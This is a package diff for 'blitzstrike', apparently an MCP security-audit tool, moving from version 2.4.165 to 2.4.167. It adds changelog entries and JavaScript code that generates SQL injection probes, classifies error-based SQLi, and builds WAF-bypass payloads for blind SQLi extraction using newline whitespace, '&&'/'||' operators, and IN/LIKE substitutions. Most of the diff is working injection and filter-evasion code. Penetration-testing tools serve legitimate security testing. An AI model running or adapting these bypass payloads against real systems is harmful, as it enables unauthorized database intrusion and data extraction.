blitzstrike 2.4.165 → 2.4.167

package/CHANGELOG.md

@@ -5,6 +5,36 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.167] — 2026-10-11
+
+### Fixed — blind_oracle detection false-negative + false-positive (real target)
+
+- Added QUOTE/ERROR probes (`value'` / `value"`) to `blind_oracle`: a trailing
+  quote that turns a successful (2xx) request into a server error (5xx) is now a
+  `sql_error` signal — error-based SQLi is detected instead of being missed.
+- Arithmetic/coercion "identity" now requires a SUCCESSFUL (2xx) baseline — an
+  error baseline (e.g. a file-include param where `value=1` already 500s) is no
+  longer misread as "evaluated arithmetically", killing a false positive on
+  non-SQL sinks.
+- Verified no-hint on a live target (testasp.vulnweb.com): `id` (error-based
+  SQLi, previously 0 signals) now detected as `sql_error`; `item` (LFI, previously
+  5 false SQL signals) now correctly 0.
+
+## [2.4.166] — 2026-10-11
+
+### Added — expanded WAF-bypass techniques (sqlmap + PayloadsAllTheThings)
+
+- New bypass dimensions beyond space/comment/case, sourced from sqlmap's 66 tamper
+  scripts + PayloadsAllTheThings/OWASP:
+  - Whitespace: LF `%0A` + CR `%0D` (MySQL 5 accepts 09/0A/0B/0C/0D/A0/20).
+  - symbolic-logical: `AND`→`&&`, `OR`→`||` (bypasses case-insensitive keyword filters).
+  - equaltolike: `=`→`IN ('x')` — exact, no `LIKE` wildcard (`_`/`%`) false-positives
+    and no `AND` keyword (BETWEEN would collide with `&&`).
+  - LIKE-based boolean oracle (`'a' LIKE 'a` vs `'a' LIKE 'b`) for `=`-filtered targets.
+- Combined variants for stacked WAFs (e.g. LF + `&&` + `IN` + `#` comment).
+- Verified on a new lab level 6 (blocks space+tab+`/* */`+`=`+`and`/`or`
+  case-insensitively): confirm + extract version/database/user/flag all correct.
+
 ## [2.4.165] — 2026-10-11
 
 ### Added — combined WAF-bypass for stacked filters (blind SQLi)

package/dist/index.js

@@ -62349,6 +62349,12 @@ function sstiProbes(value) {
     { sink: "ssti", name: "mustache_math", payload: `${value}{{7*7}}` }
   ];
 }
+function quoteProbes(value) {
+  return [
+    { sink: "sql_error", name: "single_quote", payload: `${value}'` },
+    { sink: "sql_error", name: "double_quote", payload: `${value}"` }
+  ];
+}
 function xssProbe(value, marker) {
   return { sink: "xss", name: "marker", payload: `${value}${marker}` };
 }
@@ -62363,14 +62369,20 @@ function timeProbes(dbms, value) {
 }
 function classifyBlindProbe(input) {
   const same = input.bodyHash === input.baselineHash;
+  const baselineOk = input.baselineStatus >= 200 && input.baselineStatus < 400;
   let signal = false;
   let reason = "";
-  if (input.sink === "sql_arithmetic" && same) {
+  if (input.sink === "sql_arithmetic" && same && baselineOk) {
     signal = true;
-    reason = "arithmetic identity returned the SAME result as the bare value — the parameter is evaluated arithmetically (SQL/expression context).";
-  } else if (input.sink === "sql_coercion" && same) {
+    reason = "arithmetic identity returned the SAME result as the bare value (both succeeded) — the parameter is evaluated arithmetically (SQL/expression context).";
+  } else if (input.sink === "sql_coercion" && same && baselineOk) {
     signal = true;
     reason = "type-coerced variant returned the SAME result — the parameter is normalized numerically (SQL typed column).";
+  } else if (input.sink === "sql_error") {
+    if (baselineOk && input.status >= 500) {
+      signal = true;
+      reason = `a trailing quote triggered a server error (HTTP ${input.status}) while the bare value succeeded (HTTP ${input.baselineStatus}) — the parameter is interpolated into a SQL string (error-based SQLi).`;
+    }
   } else if (input.sink === "ssti" && !same && /49/.test(input.body)) {
     signal = true;
     reason = "the SSTI arithmetic (7*7) rendered as 49 in the response — the parameter reaches a template engine (SSTI).";
@@ -62401,8 +62413,10 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
     return { error: "baseline fetch failed", base_url: base, param, detail: String(e) };
   }
   const probes = [];
-  if (sinks.includes("sql"))
+  if (sinks.includes("sql")) {
     probes.push(...arithmeticProbes(value));
+    probes.push(...quoteProbes(value));
+  }
   if (sinks.includes("ssti"))
     probes.push(...sstiProbes(value));
   if (sinks.includes("xss"))
@@ -62421,8 +62435,10 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
       const cls = classifyBlindProbe({
         baselineHash,
         baselineSize,
+        baselineStatus,
         bodyHash,
         size: body.length,
+        status,
         sink: p.sink,
         name: p.name,
         body,
@@ -62472,13 +62488,17 @@ function oracleBypassVariants(base) {
   const dash = body;
   const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
   const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
+  const likeBool = body.replace(/(\d)=(\d)-- -/, (_, a, b) => a === b ? "'a' LIKE 'a" : "'a' LIKE 'b");
   const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
+  const sym = (s) => s.replace(/AND/g, "&&").replace(/OR/g, "||");
   const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
   const out = [];
-  for (const cmt of [dash, hash, bal]) {
-    for (const x of [" ", "/**/", "\t"]) {
+  for (const cmt of [dash, hash, bal, likeBool]) {
+    for (const x of [" ", "/**/", "\t", `
+`, "\r"]) {
       out.push(`'${sp(cmt, x)}`);
       out.push(`'${sp(cs(cmt), x)}`);
+      out.push(`'${sp(sym(cmt), x)}`);
     }
   }
   out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
@@ -62494,26 +62514,45 @@ function extractBypassVariants(tpl) {
     const dash = base;
     const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
     const bal = base.replace(/'(-- -|--)$/, "");
+    const like = base.replace(/='\{char\}'/, "IN ('{char}')");
+    const likeHash = like.replace(/-- -$/, "#").replace(/--$/, "#");
     const combos = [
-      [dash, " ", false],
-      [hash, " ", false],
-      [dash, "/**/", false],
-      [dash, " ", true],
-      [bal, " ", false],
-      [hash, "/**/", false],
-      [hash, "/**/", true],
-      [hash, "\t", true],
-      [bal, "\t", true],
-      [bal, "/**/", true]
+      [dash, " ", "none"],
+      [hash, " ", "none"],
+      [dash, "/**/", "none"],
+      [dash, " ", "case"],
+      [bal, " ", "none"],
+      [hash, "/**/", "none"],
+      [hash, "/**/", "case"],
+      [hash, "\t", "case"],
+      [bal, "\t", "case"],
+      [bal, "/**/", "case"],
+      [dash, `
+`, "none"],
+      [hash, `
+`, "case"],
+      [bal, `
+`, "case"],
+      [dash, " ", "sym"],
+      [like, " ", "none"],
+      [like, "/**/", "none"],
+      [likeHash, `
+`, "sym"],
+      [likeHash, "\t", "sym"],
+      [like, `
+`, "sym"],
+      [likeHash, " ", "sym"]
     ];
-    for (const [cmt, s, swap] of combos) {
+    for (const [cmt, s, mode] of combos) {
       let b = cmt;
-      if (swap)
+      if (mode === "case")
         b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
+      else if (mode === "sym")
+        b = b.replace(/AND/g, "&&").replace(/OR/g, "||");
       if (s === "/**/")
         b = b.replace(/ /g, "/**/");
-      else if (s === "\t")
-        b = b.replace(/ /g, "\t");
+      else if (s !== " ")
+        b = b.replace(/ /g, s);
       out.push(b);
     }
   }
@@ -62695,7 +62734,9 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
   const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
   const render = (tpl, pos, ch) => {
-    const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes("/**/") ? "/**/" : " ";
+    const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(`
+`) ? `
+` : tpl.includes("\r") ? "\r" : tpl.includes("/**/") ? "/**/" : " ";
     const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
     return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
   };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.165",
+  "version": "2.4.167",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {